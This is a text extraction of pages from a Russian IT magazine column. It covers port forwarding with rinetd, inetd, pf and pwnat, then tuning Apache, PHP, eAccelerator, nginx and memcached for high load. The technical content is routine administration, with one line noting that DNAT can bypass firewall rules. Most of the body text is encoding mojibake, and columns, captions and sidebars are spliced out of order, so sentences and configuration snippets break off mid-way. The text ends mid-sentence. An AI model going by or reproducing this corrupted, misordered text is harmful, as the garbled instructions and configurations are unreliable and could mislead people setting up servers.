âèäà:1.2.3.4 80 192.168.0.100 80È (ïåðå)çàïóñòèòü ñåðâåð êîìàíäîé:$ sudo /etc/init.d/rinetd restartâ Ubuntu èëè:XÀÊÅÐ 08 /139/ 10 125


SYN/ACKПроброс портов в X-Wrt# /usr/local/etc/rc.d/rinetd startâî FreeBSD. Òàê æå âî FreeBSD ïðèäåòñÿ àêòèâèðîâàòü çàïóñê rinetd ïðèñòàðòå:# echo "rinetd_enable="YES"" >> /etc/rc.confÏîñëå ýòîãî âåñü òðàôèê, ïðèøåäøèé íà ïîðò 80 ìàøèíû 1.2.3.4, áóäåòàâòîìàòè÷åñêè ïåðåíàïðàâëåí íà òîò æå ïîðò ìàøèíû ñ IP-àäðåñîì192.168.0.100.Îäèí èç èçëþáëåííûõ ñïîñîáîâ ïðîáðîñà ïîðòîâ ñðåäè UNIX-àäìèíèñòðàòîðîâçàêëþ÷àåòñÿ â èñïîëüçîâàíèè óòèëèòû socket ñîâìåñòíî ññåòåâûì ñóïåð-ñåðâåðîì inetd. Êàê è âñå ãåíèàëüíîå, èäåÿ â ýòîì ñëó÷àåïðîñòà, à ðåàëèçàöèÿ î÷åâèäíà. Îòêðûâàåì ôàéë /etc/inetd.conf (äàæåUDP-òóííåëü ìåæäóäâóìÿ NATÓòèëèòà pwnat (http://samy.pl/pwnat/) ïîçâîëÿåò ëþáîìóêîëè÷åñòâó êëèåíòîâ, íàõîäÿùèõñÿ çà îäíèì NAT-ñåðâåðîì,ñîåäèíÿòüñÿ ñ ñåðâåðîì, êîòîðûé ñòîèò çà äðóãèì NAT, ïðè-÷åì íèêàêîé ïðîáðîñêè ïîðòîâ íà ñåðâåðàõ íå ïîòðåáóåòñÿ.Êëèåíò ìîæåò ïîäêëþ÷àòüñÿ ÷åðåç òàêîé ñåðâåð ê ëþáûì ðåñóðñàì,ëèáî òîëüêî ê òåì, ÷òî îãðàíè÷åíû ñåðâåðîì pwnat.Âîò òàê ìîæíî îáåñïå÷èòü êëèåíòñêîìó õîñòó 192.168.0.2ïîëó÷åíèå HighID íà ëþáîì eDonkey-ñåðâåðå:# vi /etc/pf.confrdr pass on $ext_if inet proto tcp from any \to any port 4661 -> 192.168.0.2rdr pass on $ext_if inet proto tcp from any \to any port 4662 -> 192.168.0.2rdr pass on $ext_if inet proto udp from any \to any port 4665 -> 192.168.0.2rdr pass on $ext_if inet proto udp from any \to any port 4672 -> 192.168.0.2Проброс портов в Windows 2003 Serveråñëè â òâîåé ñèñòåìå èñïîëüçóåòñÿ áîëåå íîâûé xinetd, òû âñå ðàâíîìîæåøü èñïîëüçîâàòü ýòîò ôàéë) è äîáàâëÿåì â íåãî ñòðîêó ñëåäóþùåãîâèäà:ïîðò1 stream tcp nowait root /usr/local/bin/socketsocket 192.168.0.100 ïîðò2Çäåñü ïîðò1 — ýòî ïðîñëóøèâàåìûé ïîðò íà ìàøèíå-øëþçå, à ïîðò2 —ïîðò íàçíà÷åíèÿ íà âíóòðåííåé ìàøèíå 192.168.0.100. Ïðè ýòîì îáàîíè äîëæíû áûòü çàäàíû â ôîðìå èìåíè ñëóæáû (www, ftp è ò.ä.), åñëèæå òàêîâîé íå èìååòñÿ (òû âûáðàë ïðîèçâîëüíûé ïîðò), òî åå íåîáõîäèìîäîáàâèòü â ôàéë /etc/services.Äàëåå ìîæíî ïåðåçàãðóçèòü inetd êîìàíäîé «kill -HUP» è íàñëàæäàòüñÿðåçóëüòàòîì. Åñëè æå åãî íåò, òî ñìîòðèì â ôàéë /etc/hosts.allow. Äîñòóïê ñëóæáå äîëæåí áûòü îòêðûò.ВЫВОДЫÍåñìîòðÿ íà âûáðàííûé äëÿ ñòàòüè ïðèìåð ñ ïðîáðîñîì ïîðòà â ëîêàëüíóþñåòü, ó òåõíîëîãèè DNAT åñòü ìíîæåñòâî äðóãèõ ïðèìåíåíèé,âêëþ÷àÿ ñîçäàíèå áîëåå óäîáíîãî ñïîñîáà äîñòóïà ê óäàëåííîé ìàøèíå,îáõîä ïðàâèë áðàíäìàóýðà èëè ïðîñòî îáìàí.  ëþáîì ñëó÷àå, ïðîáðîñïîðòîâ îñòàåòñÿ î÷åíü óäîáíîé è ëåãêîé â ðåàëèçàöèè è ïðèìåíåíèèòåõíîëîãèåé, êîòîðàÿ ìîæåò îêàçàòüñÿ ïîëåçíîé â ëþáîé ìîìåíò. z126 XÀÊÅÐ 08 /139/ 10


SYN/ACKЕвгений Зобнин j1m@synack.ruНе спасоватьперед лавинойПОДГОТАВЛИВАЕМ ВЕБ-СЕРВЕР К ВЫСОКИМ НАГРУЗКАМПопулярность веб-страницы – не только благо, но и дополнительная головнаяболь сисадмина. Возрастая, поток посетителей создает большую нагрузку насервер, который со временем перестает справляться со своими обязанностями.В этот момент встает вопрос о покупке железа, который, тем не менее,можно отложить до лучших времен. Из этой статьи ты узнаешь, как заставитьсервер выдерживать нагрузки даже тогда, когда он отказывается это делать.Ïîïóëÿðíîñòü âåá-ñòðàíèöû — íå òîëüêî áëàãî, íî è äîïîëíèòåëüíàÿãîëîâíàÿ áîëü ñèñàäìèíà. Âîçðàñòàÿ, ïîòîê ïîñåòèòåëåé ñîçäàåò âñåáîëüøóþ íàãðóçêó íà ñåðâåð, êîòîðûé ñî âðåìåíåì ïðîñòî ïåðåñòàåòñïðàâëÿòüñÿ ñî ñâîèìè îáÿçàííîñòÿìè.  ýòîò ìîìåíò âñòàåò âîïðîñ î ïîêóïêåæåëåçà, êîòîðûé, òåì íå ìåíåå, ìîæíî îòëîæèòü äî ëó÷øèõ âðåìåí.Èç ýòîé ñòàòüè òû óçíàåøü, êàê çàñòàâèòü ñåðâåð âûäåðæèâàòü íàãðóçêèäàæå òîãäà, êîãäà îí îòêàçûâàåòñÿ ýòî äåëàòü.Äîïóñòèì, òû èìååøü â ñâîåì ðàñïîðÿæåíèè âåá-ñåðâåð, íà êîòîðîìêðóòèòñÿ áîëåå-ìåíåå ïîñåùàåìûé äèíàìè÷åñêèé âåá-ñàéò, ñîçäàííûéíà áàçå îäíîé èç PHP'øíûõ CMS.  îáùåì, ñàìàÿ òèïè÷íàÿ äëÿ ñîâðåìåííîãîðóíåòà ñèòóàöèÿ. Ñàéò ðàçâèâàåòñÿ, ðàñòåò, ïîñåòèòåëåé ñòàíîâèòñÿâñå áîëüøå, è òû íà÷èíàåøü çàìå÷àòü ïîñòåïåííî âîçðàñòàþùèå çàäåðæêèâ ñêîðîñòè îòäà÷è êîíòåíòà. Ïðîñòåéøèå çàìåðû ïîêàçûâàþò, ÷òîñåðâåð óæå íå ñïðàâëÿåòñÿ ñ âîçëîæåííûìè íà íåãî çàäà÷àìè, è â ãîëîâóíà÷èíàþò çàêðàäûâàòüñÿ ïîðî÷íûå ìûñëè î ïîêóïêå æåëåçà (àðåíäå áîëååìîùíîãî âèðòóàëüíîãî ñåðâåðà). Íî ñïåøèòü íå ñòîèò, â áîëüøèíñòâåñëó÷àåâ ñèòóàöèþ ëåãêî îáðàòèòü â ñâîþ ïîëüçó.Ýòà ñòàòüÿ ðàññêàæåò òåáå î òîì, êàê îïòèìèçèðîâàòü ñåðâåð è êëèåíòñêóþ÷àñòü âåá-ñàéòà ïîä âûñîêóþ íàãðóçêó.  õîäå îáñóæäåíèÿ ìûçàòðîíåì ñëåäóþùèå òåìû:• Îïòèìèçàöèÿ Apache;• Îïòèìèçàöèÿ PHP;• Óñòàíîâêà eAccelerator;• Óñòàíîâêà Nginx â êà÷åñòâå ôðîíò-ýíäà;• Óñòàíîâêà Memcached;• Êëèåíòñêàÿ îïòèìèçàöèÿ.ОПТИМИЗАЦИЯ APACHEÊîðíåâîé êîìïîíåíò áîëüøèíñòâà ñîâðåìåííûõ âåá-ñàéòîâ — ýòî,êîíå÷íî æå, Apache. Îí çàðåêîìåíäîâàë ñåáÿ êàê íàèáîëåå ôóíêöèîíàëüíûé,ñòàáèëüíûé è óäîáíûé â èñïîëüçîâàíèè HTTP-ñåðâåð, êîòîðûéìîæíî èñïîëüçîâàòü êàê äëÿ îáñëóæèâàíèÿ äîìàøíåé âåá-ñòðàíèöû,òàê è äëÿ âûñîêîíàãðóæåííûõ êîðïîðàòèâíûõ èíòåðíåò-ïðîåêòîâ. Îäíàïðîáëåìà: Apache — î÷åíü òÿæåëîå ïðèëîæåíèå, æàäíîå äî ðåñóðñîâ ñåðâåðà.È ýòî äîëæíî áûòü ó÷òåíî ïðè åãî íàñòðîéêå. Âîò ñïèñîê ðåêîìåíäàöèé,êîòîðûå ëó÷øå âûïîëíÿòü ïðè ïîäãîòîâêå HTTP-ñåðâåðà ê ðàáîòå:• Ëüâèíàÿ äîëÿ ôóíêöèîíàëà Apache âûíåñåíà â çàãðóæàåìûå ìîäóëè,êîòîðûå ìîæíî àêòèâèðîâàòü èëè îòêëþ÷èòü ïóòåì ðåäàêòèðîâàíèÿêîíôèãóðàöèîííîãî ôàéëà (äèðåêòèâà LoadModule). Õîðîøåé ïðàêòèêîéÿâëÿåòñÿ òîòàëüíîå îòêëþ÷åíèå âñåõ íåèñïîëüçóåìûõ ìîäóëåé, ÷òîïîçâîëèò ïîâûñèòü ïðîèçâîäèòåëüíîñòü ñåðâåðà è ñîõðàíèòü îïåðàòèâíóþïàìÿòü.• Apache îáðàáàòûâàåò êàæäûé íîâûé çàïðîñ â ñîáñòâåííîì ïîòîêåèñïîëíåíèÿ è ïîçâîëÿåò èñïîëüçîâàòü ðàçíûå ïîäõîäû äëÿ âûïîëíåíèÿýòîé îïåðàöèè. Åñëè òû ñîáèðàë Apache2 èç èñõîäíèêîâ, òî ìîã çàìåòèòü,÷òî â îïöèÿõ ñáîðêè ïðèñóòñòâóåò âîçìîæíîñòü âûáîðà òàê íàçûâàåìîãîMPM. Ýòî è åñòü ìîäóëü ìóëüòè-ïðîöåññèíãà (Multi-processing module),èñïîëüçóåìûé äëÿ ðàñïàðàëëåëèâàíèÿ HTTP-ñåðâåðà. Âñåãî èõ ñóùåñòâóåòòðè:1. prefork — êëàññè÷åñêèé MPM, ðåàëèçóþùèé ìîäåëü ìóëüòè-ïðîöåññèíãà,èñïîëüçóåìóþ â Apache 1.3. Êàæäûé ïîòîê îáðàáàòûâàåòñÿ âîòäåëüíîì ïðîöåññå. Íå ñàìûé ïðîèçâîäèòåëüíûé âàðèàíò, íî íàèáîëååñòàáèëüíûé. Èñïîëüçóåòñÿ ïî óìîë÷àíèþ.2. worker — MPM, îñíîâàííûé íà ïîòîêàõ. Ñåðâåð ïîðîæäàåò íåñêîëüêîïðîöåññîâ, ïî íåñêîëüêî ïîòîêîâ â êàæäîì. Îäèí çàïðîñ — îäèí ïîòîê.Ïðîèçâîäèòåëüíåå prefork, íî ìåíåå ñòàáèëåí.3. event — ñîáûòèéíûé MPM. Âìåñòî ïîòîêîâ çàïðîñû îáðàáàòûâàþòñÿ,èñïîëüçóÿ ñîáûòèéíóþ ìîäåëü, ïîõîæóþ íà òó, ÷òî ïðèìåíÿåòñÿ â nginx.Íàèáîëåå ïðîèçâîäèòåëüíûé MPM, íî è íàèìåíåå ñòàáèëüíûé (íàõîäèòñÿâ ýêñïåðèìåíòàëüíîé ñòàäèè ðàçðàáîòêè).Ìíîãèå äèñòðèáóòèâû ïîçâîëÿþò óñòàíàâëèâàòü ðàçíûå âàðèàíòûApache, ðàçëè÷àþùèåñÿ èñïîëüçóåìûì MPM, èõ ëåãêî ìîæíî íàéòè âðåïîçèòîðèè ïî çàïðîñó «apache2-mpm».• Apache ïîçâîëÿåò êîíòðîëèðîâàòü ìàêñèìàëüíîå êîëè÷åñòâî ïîðîæäàåìûõïîòîêîâ ñ ïîìîùüþ îïöèè MaxClients. Íå ñòîèò óñòàíàâëèâàòüåå çíà÷åíèå ñëèøêîì áîëüøèì, èíà÷å â îïðåäåëåííûé ìîìåíò ñåðâåðèñ÷åðïàåò âñþ îïåðàòèâíóþ ïàìÿòü, íà÷íåò ñâîïèòü, è íåîáñëóæåííûìèîñòàíóòñÿ ãîðàçäî áîëüøå êëèåíòîâ, ÷åì áûëî áû ïðè çàäàíèè æåñòêîãîîãðàíè÷åíèÿ. Îïòèìàëüíûì ñ÷èòàåòñÿ çíà÷åíèå, ðàâíîå êîëè÷åñòâóïàìÿòè, äîñòóïíîé Apache, ïîäåëåííîå íà ìàêñèìàëüíûé ðàçìåð ïîðîæäåííîãîïîòîêà (ïðîâåðÿåòñÿ ñ ïîìîùüþ ps èëè top).• Êàê è ìíîãèå äðóãèå HTTP-ñåðâåðû, Apache ïîçâîëÿåò êîíòðîëèðîâàòüäëèòåëüíîñòü óäåðæàíèÿ ñîåäèíåíèé òèïà keep-alive, èñïîëüçóåìûõäëÿ ïåðåäà÷è íåñêîëüêèõ çàïðîñîâ/îòâåòîâ â ðàìêàõ îäíîãî ñîåäèíåíèÿ.Keep-alive ïîçâîëÿåò ýêîíîìèòü ðåñóðñû ñåðâåðà, íå âûíóæäàÿ åãîñîçäàâàòü îòäåëüíûé ïîòîê íà êàæäóþ êàðòèíêó, CSS è ïðî÷èå ýëåìåíòûñòðàíèöû. Îäíàêî ñëèøêîì äîëãî òàêîå ñîåäèíåíèå äåðæàòü îòêðûòûìíå ñòîèò, ïîòîìó êàê íà ýòî òîæå óõîäÿò ðåñóðñû. Õîðîøèì çíà÷åíèåìXÀÊÅÐ 08 /139/ 10 127


SYN/ACKîïöèè KeepAliveTimeout áóäåò 5-10 ñåêóíä, ïðè÷åì, åñëè âñå çàâèñèìûåêîìïîíåíòû ñòðàíèöû îòäàþòñÿ êëèåíòó îòäåëüíûìè ñåðâåðàìè, à òåêóùèéñåðâåð èñïîëüçóåòñÿ òîëüêî äëÿ îòäà÷è HTML/PHP, íåîáõîäèìîñòüïîääåðæêè keep-alive îòïàäàåò âîâñå, è çíà÷åíèå îïöèè KeepAlive ëó÷øåóñòàíîâèòü â Off.• Apache íå ëþáèò ñæàòèå. Åñëè òû ðåøèë óâåëè÷èòü ñêîðîñòü îòäà÷è ñòðàíèöñ ïîìîùüþ ñæàòèÿ, òî èìåé â âèäó, ÷òî, ñêîðåå âñåãî, îíî ñîçäàñò åùåáîëüøóþ íàãðóçêó íà ñåðâåð. Åñëè æå ñæàòèå äåéñòâèòåëüíî íåîáõîäèìî(íàïðèìåð, äëÿ ìîáèëüíîãî ïîðòàëà, îñíîâíîé ïîòîê êëèåíòîâ êîòîðîãîèñïîëüçóåò êàíàë GPRS), òî óñòàíàâëèâàé êîýôôèöèåíò ñæàòèÿ ìèíèìàëüíûì,ýòî ïðèâåäåò ëèøü ê íåçíà÷èòåëüíîìó ðîñòó îáúåìà ðåçóëüòèðóþùèõäàííûõ, çàòî ïîçâîëèò ñóùåñòâåííî ñýêîíîìèòü ðåñóðñû ñåðâåðà.ïîýòîìó ìû ïðèìåíèì èíñòðóìåíò ïîä íàçâàíèåì eAccelerator, êîòîðûéñêîìïèëèðóåò èñõîäíûå òåêñòû PHP â äâîè÷íîå ïðåäñòàâëåíèå, îïòèìèçèðóåòèõ è áóäåò áåðåæíî õðàíèòü â îïåðàòèâíîé ïàìÿòè äëÿ áîëåå áûñòðîãîäîñòóïà. Áëàãîäàðÿ òîëüêî ýòîìó ñêîðîñòü îáðàáîòêè PHP-ñêðèïòîââûðàñòåò â äåñÿòêè ðàç (ïîäòâåðæäåíî òåñòàìè).Ïàêåòà eAccelerator íåò â ðåïîçèòîðèÿõ ïîïóëÿðíûõ äèñòðèáóòèâîâ,ïîýòîìó åãî ïðèäåòñÿ ñîáðàòü ñàìîñòîÿòåëüíî. Ñíà÷àëà óñòàíàâëèâàåìíåîáõîäèìûå äëÿ ñáîðêè óòèëèòû:$ sudo apt-get install php5-dev build-essentialÄàëåå ïîëó÷àåì èñõîäíûå òåêñòû eAccelerator:ОПТИМИЗАЦИЯ PHPÇà÷àñòóþ íàèáîëüøàÿ íàãðóçêà ñîçäàåòñÿ âîâñå íå HTTP-ñåðâåðîì, à èíòåðïðåòàòîðîìÿçûêà ïðîãðàììèðîâàíèÿ, èñïîëüçóåìîãî äëÿ ñîçäàíèÿäèíàìè÷åñêîãî ñîäåðæèìîãî âåá-ñàéòà. Ñåãîäíÿ íàèáîëåå ïîïóëÿðíûìÿçûêîì äëÿ ñåðâåðíîãî âåá-ñêðèïòèíãà ÿâëÿåòñÿ PHP, ïîýòîìó èìåííîåìó ìû óäåëèì âíèìàíèå â íàøåé ñòàòüå. Îòêðûâàåì ôàéë /etc/php5/apache2/php.ini (ïóòü äëÿ Ubuntu, â äðóãèõ äèñòðèáóòèâàõ ìîæåò áûòüèíûì) è ðåäàêòèðóåì ñëåäóþùèå ñòðîêè:• memory_limit — ëèìèò íà ñúåäàåìóþ ïðè ãåíåðàöèè âåá-ñòðàíèöûïàìÿòü. Ïåðåä èçìåíåíèåì ýòîãî ïàðàìåòðà ðåêîìåíäóåòñÿ âûïîëíèòüñîîòâåòñòâóþùèå çàìåðû è îñíîâûâàòü çíà÷åíèå óæå íà èõ ðåçóëüòàòàõ.• display_errors = Off, error_log = /var/log/php — ïåðåíàïðàâëÿòü ñîîáùåíèÿîá îøèáêàõ â log-ôàéë. Âêëþ÷àé ýòîò ïàðàìåòð òîãäà, êîãäà âñåñêðèïòû áóäóò ïîëíîñòüþ îòëàæåíû.• upload_max_filesize è post_max_size — ìàêñèìàëüíûé ðàçìåð çàãðóæàåìûõôàéëîâ è POST-çàïðîñîâ. Îïÿòü æå, çíà÷åíèå äîëæíî áûòü âûáðàíîèñõîäÿ èç ïîòðåáíîñòåé òâîåãî âåá-ïðèëîæåíèÿ.Òåïåðü ìîæíî çàêðûòü ôàéë è âûïîëíèòü ãëóáîêóþ îïòèìèçàöèþ ñ ïîìîùüþPHP-óñêîðèòåëÿ.УСТАНОВКА EACCELERATORPHP — ÿçûê èíòåðïðåòèðóåìûé. Ýòî çíà÷èò, ÷òî êàæäûé ðàç, êîãäàïðîèñõîäèò âûçîâ ñêðèïòà íà ýòîì ÿçûêå, çàïóñêàåòñÿ PHP-èíòåðïðåòàòîð,êîòîðûé ïðîâîäèò ïîëíûé àíàëèç èñõîäíîãî êîäà. Ïðè÷åì, åñëèñïóñòÿ ñåêóíäó ïðîèçîéäåò âòîðîé çàïóñê òîãî æå ñêðèïòà, âñÿ ïðîöåäóðàáóäåò ïîâòîðåíà çàíîâî. Ýòî íåðàöèîíàëüíîå èñïîëüçîâàíèå ðåñóðñîâ,128$ cd /tmp/$ wget http://bart.eaccelerator.net/source/0.9.6.1/eaccelerator-0.9.6.1.tar.bz2$ tar xvjf eaccelerator-0.9.6.1.tar.bz2$ cd eaccelerator-0.9.6.1$ phpize$ ./configure --enable-eaccelerator=shared$ make$ sudo make installÑîçäàåì êàòàëîã äëÿ õðàíåíèÿ êýøà:$ sudo mkdir -p /var/cache/eaccelerator$ sudo chmod 0777 /var/cache/eacceleratorÈ, íàêîíåö, ïîäêëþ÷àåì eAccelerator ê PHP (äîáàâèòü â íà÷àëî ôàéëà):# vi /etc/php5/apache2/php.ini[PHP]; Ïîäêëþ÷àåì ðàñøèðåíèåextension = "eaccelerator.so"eaccelerator.enable = "1"; Ìàêñèìàëüíûé ðàçìåð äèñêîâîãî êýøà (Ìá)eaccelerator.shm_size = "64"; Êàòàëîã äëÿ õðàíåíèÿ êýøàeaccelerator.cache_dir = "/var/cache/eaccelerator"XÀÊÅÐ 08 /139/ 10


Apache с различными MPM-модулями в Ubuntuphpinfo() для eAcceleratorНастраиваем Nginx; Âêëþ÷àåì îïòèìèçàòîð êîäàeaccelerator.optimizer = "1"; Ïåðåêîìïèëèðîâàòü ìîäèôèöèðîâàííûå ñêðèïòûeaccelerator.check_mtime = "1"; Îòêëþ÷àåì ðåæèì îòëàäêèeaccelerator.debug = "0"; Êýøèðîâàòü âñå ôàéëû (ïóñòîé ôèëüòð)eaccelerator.filter = ""; Íåîãðàíè÷åííûé ðàçìåð êýøà â ïàìÿòèeaccelerator.shm_max = "0";  ñëó÷àå îòñóòñòâèÿ ìåñòà â êýøå óäàëÿòü îáúåêòû ñòàðøå1 ÷àñà (3600 ñåêóíä)eaccelerator.shm_ttl = "3600"eaccelerator.shm_prune_period = "0"; Êýøèðîâàòü äàííûå è â ïàìÿòè, è íà äèñêåeaccelerator.shm_only = "0"; Ñæèìàòü êýøèðîâàííûå äàííûå ñ ìàêñèìàëüíûì óðîâíåì êîìïðåññèèeaccelerator.compress = "1"eaccelerator.compress_level = "9"È äåëî òóò äàæå íå â òîì, ÷òî æåëåçî íå ïîçâîëÿåò, à â òÿæåëîâåñíîñòè ñàìîãîHTTP-ñåðâåðà. Apache îòëè÷íî ïîäõîäèò äëÿ îòäà÷è äèíàìè÷åñêîãîêîíòåíòà, îäíàêî áîëüøàÿ ÷àñòü ñîâðåìåííûõ âåá-ñòðàíèö òàê èëè èíà÷åñîñòîèò èç ñòàòèêè, è èñïîëüçîâàòü äëÿ èõ îòäà÷è ìîùíûé, ñëîæíûé èî÷åíü òÿæåëûé HTTP-ñåðâåð áûëî áû òàê æå ãëóïî, êàê åçäèòü íà âåçäåõîäåïî äîðîãàì Øâåéöàðèè. Ìû âîñïîëüçóåìñÿ ëåãêîâåñíûì HTTP-ñåðâåðîìNginx äëÿ ðàçãðóçêè Apache è åãî îñâîáîæäåíèÿ îò íåáëàãîäàðíîãîçàíÿòèÿ îòäà÷åé ñòàòè÷åñêîãî êîíòåíòà.  îòëè÷èå îò Apache, Nginxèñïîëüçóåò ñîáûòèéíóþ ìîäåëü îáðàáîòêè çàïðîñîâ, áëàãîäàðÿ ÷åìó íàëþáîå êîëè÷åñòâî êëèåíòîâ òðåáóåòñÿ âñåãî îäèí ïðîöåññ HTTP-ñåðâåðà.Ýòî ñóùåñòâåííî ñíèæàåò íàãðóçêó íà æåëåçî, íî ñîçäàåò îïðåäåëåííûåïðîáëåìû ïðè îáðàáîòêå äèíàìè÷åñêîãî êîíòåíòà (èìåííî ïîýòîìó åãîíå èñïîëüçóþò â êà÷åñòâå îñíîâíîãî HTTP-ñåðâåðà). Îáû÷íî Nginx óñòàíàâëèâàþòíà âûäåëåííóþ ìàøèíó, êîòîðàÿ ñìîòðèò âî âíåøíþþ ñåòüè âûñòóïàåò â êà÷åñòâå ïåðâîãî ÷åêïîèíòà íà ïóòè ñëåäîâàíèÿ çàïðîñîâ,îäíàêî äîïóñòèì è âàðèàíò ñ îäíèì ôèçè÷åñêèì ñåðâåðîì, êîãäà Apacheè Nginx êðóòÿòñÿ íà îäíîé ìàøèíå. Îñòàíîâèìñÿ íà íåì. Îòêðûâàåìôàéë /etc/apache2/ports.conf è èçìåíÿåì äâå îïöèè:NameVirtualHost *:81Listen 81Äàëåå óñòàíàâëèâàåì Nginx:$ sudo apt-get install nginxÎòêðûâàåì êîíôèãóðàöèîííûé ôàéë è ïèøåì â íåãî ñëåäóþùåå:УСТАНОВКА NGINXÁóäó÷è ïîïóëÿðíûì, áîëüøîé äèíàìè÷åñêèé âåá-ñàéò ìîæåò ñîçäàòü òàêóþíàãðóçêó íà ñåðâåð, ÷òî Apache íà÷íåò «çàõëåáûâàòüñÿ è ïëåâàòüñÿ».ÁàëàíñèðîâêàRound robin DNS — îäèí èç ñàìûõ ïðîñòûõ âèäîâ áàëàíñèðîâêèíàãðóçêè. Äëÿ åå ðåàëèçàöèè äîñòàòî÷íî ïðèñâîèòüIP-àäðåñà äâóõ èëè áîëåå ñåðâåðîâ îäíîìó äîìåííîìó èìåíè.Îäíàêî, åñòü è ñóùåñòâåííûé ìèíóñ: åñëè îäèí èç ñåðâåðîââûéäåò èç ñòðîÿ, ÷àñòü êëèåíòîâ âñå ðàâíî áóäóò îòïðàâëåíûê íåìó.XÀÊÅÐ 08 /139/ 10# vi /etc/nginx/nginx.conf# Nginx-ïîëüçîâàòåëüuser www-data;# Êîëè÷åñòâî Nginx-ïðîöåññîâ ñòàâèì ðàâíûì êîëè÷åñòâóïðîöåññîðíûõ ÿäåðworker_processes 1;error_log /var/log/nginx/error.log;pid /var/run/nginx.pid;events {worker_connections 1024;}http {129


SYN/ACKMemcached использует модуль slab-аллокациипамятиСовместная работа Nginx и ApacheINFOinfoСжатие методамиGzip и Deflate различаетсятолько тем, чтоGzip-упаковщик добавляетк результатунебольшой заголовоки контрольную сумму.# Ñòàíäàðòíûå íàñòðîéêèinclude /etc/nginx/mime.types;default_type application/octet-stream;server_names_hash_bucket_size 64;access_log /var/log/nginx/access.log;sendfile on;#tcp_nopush on;#keepalive_timeout 0;keepalive_timeout 65;tcp_nodelay on;# Âêëþ÷àåì ñæàòèågzip on;gzip_proxied any;gzip_min_length 1100;gzip_http_version 1.0;gzip_buffers 4 8k;gzip_comp_level 9;gzip_types text/plain text/css application/x-javascript text/xml application/xmlapplication/xml+rss text/javascript;}include /etc/nginx/conf.d/*.conf;include /etc/nginx/sites-enabled/*;Ñîçäàåì êîíôèã íàøåãî õîñòà:# vi /etc/nginx/sites-enabled/host.comserver {listen 80;server_name host.com;access_log /var/log/nginx.access_log;# Âñþ ñòàòèêó Nginx îòäàåò ñàìîñòîÿòåëüíîlocation ~* \.(jpg|jpeg|gif|png|css|js|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|tar|wav|bmp|rtf|swf|ico|flv|txt|xml|docx|xlsx)$ {root /var/www/host.com/;index index.html index.php;access_log off;expires 30d;}# Äîñòóï ê ôàéëàì òèïà .htaccess çàïðåùåílocation ~ /\.ht {deny all;}# Âñå çàïðîñû êî âñåìó îñòàëüíîìó êîíòåíòóïåðåäàåì Apachelocation / {proxy_pass http://127.0.0.1:81/;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-for $remote_addr;proxy_set_header Host $host;proxy_connect_timeout 60;proxy_send_timeout 90;proxy_read_timeout 90;proxy_redirect off;proxy_set_header Connection close;proxy_pass_header Content-Type;proxy_pass_header Content-Disposition;proxy_pass_header Content-Length;}}Âñå, ïåðåçàïóñêàåì Apache è Nginx:$ sudo service apache2 restart$ sudo service nginx restartУСТАНОВКА MEMCACHEDMemcached — ñèñòåìà êýøèðîâàíèÿ äàííûõ â îïåðàòèâíîéïàìÿòè, êîòîðàÿ ìîæåò áûòü èñïîëüçîâàíà äëÿ ðàñïðåäåëåííîãîõðàíåíèÿ è óñêîðåíèÿ äîñòóïà ê äàííûì ëþáîãî òèïà.Ýòî îäíî èç ñàìûõ ïîïóëÿðíûõ ðåøåíèé â îáëàñòè òîòàëüíîéîïòèìèçàöèè âåá-ñàéòà äëÿ âûñîêèõ íàãðóçîê, íå òðåáóþùååíàñòðîéêè è äîëãîãî èçó÷åíèÿ API. Îáû÷íî memcachedèñïîëüçóåòñÿ, òàê ñêàçàòü, äâóìÿ ñòîðîíàìè, îäíà èç êîòîðûõïîìåùàåò äàííûå â êýø, à äðóãàÿ — èçâëåêàåò.  âåá-ñðåäåðîëü ïåðâîé ñòîðîíû îáû÷íî èãðàåò íåáîëüøîé PHP-ñêðèïò,êîòîðûé çàïèñûâàåò âàæíûå (ñ òî÷êè çðåíèÿ ñêîðîñòè îòäà-÷è) äàííûå â memcached, â òî âðåìÿ êàê âòîðàÿ ñòîðîíà — ýòîîáû÷íî ëåãêîâåñíûé ôðîíò-ýíä ñåðâåð (êàê ïðàâèëî, nginx),èñïîëüçóþùèé ñïåöèàëüíûé ìîäóëü äëÿ ÷òåíèÿ è îòäà÷èäàííûõ èç memcached. ×àñòî memcached èñïîëüçóåòñÿ äëÿêýøèðîâàíèÿ âñåõ ñòðàíèö âåá-ñàéòà öåëèêîì, áëàãîäàðÿ÷åìó ñêîðîñòü äîñòóïà ê ýòèì ñòðàíèöàì âîçðàñòàåò íà íåñêîëüêîïîðÿäêîâ.  ïðîñòåéøåì ñëó÷àå òàêàÿ êîíôèãóðàöèÿâûãëÿäèò ñëåäóþùèì îáðàçîì:1. Óñòàíàâëèâàåòñÿ memcached:$ sudo apt-get install memcached2.  ñåêöèþ server êîíôèãóðàöèîííîãî ôàéëà nginxäîáàâëÿå òñÿ ïðèìåðíî ñëåäóþùåå:# vi /etc/nginx/nginx.conflocation / {# Óñòàíàâëèâàåì êëþ÷ memcached, ðàâíûé çàïðàøèâàåìîìóURIset $memcached_key $uri;# Àäðåñ è ïîðò äåìîíà memcachedmemcached_pass 127.0.0.1:11211;130 XÀÊÅÐ 08 /139/ 10


Слоеный пирог типичного веб-сайтаNginx — гордость отечества :)# Çàãîëîâîê ïî óìîë÷àíèþdefault_type text/html;# Åñëè äàííûå â êýøå íå íàéäåíû — çàïðàøèâàåì èõ ó áýêýíäàerror_page 404 = /fallback;}location /fallback {proxy_pass backend;}3. Äëÿ PHP óñòàíàâëèâàåòñÿ ðàñøèðåíèå memcache (êëèåíò êmemcached):$ sudo pecl install memcache4.  ñòðàíèöû âñòðàèâàåòñÿ ïðèìåðíî òàêîé êîä:$ vi smaple.php# Èíèöèàëèçàöèÿ memcached îïóùåíàob_start();$html = ob_get_clean();$memcache->set($_SERVER['REQUEST_URI'], $html);echo $html;Âñå ýòî îòëè÷íî ðàáîòàåò, íî òîëüêî â îòíîøåíèè î÷åíü ïðîñòûõ, ïî÷òèñòàòè÷åñêèõ âåá-ñàéòîâ. Äåëî â òîì, ÷òî ñòðàíèöà íå âñåãäà äîëæíà áûòüîäèíàêîâîé äëÿ âñåõ ïîñåòèòåëåé. ×òî åñëè ãëàâíàÿ ñòðàíèöà áóäåò çàêýøèðîâàíàïðè âõîäå íà ñàéò ãîñòÿ, à ïîñëå íåãî íà ñàéò ïðèäåò çàðåãèñòðèðîâàííûéó÷àñòíèê, êîòîðîìó âíîâü ïðåäëîæàò çàðåãèñòðèðîâàòüñÿ.Íåïîðÿäîê. Îäíàêî åñòü äîñòàòî÷íî ïðîñòîé âûõîä èç ýòîé 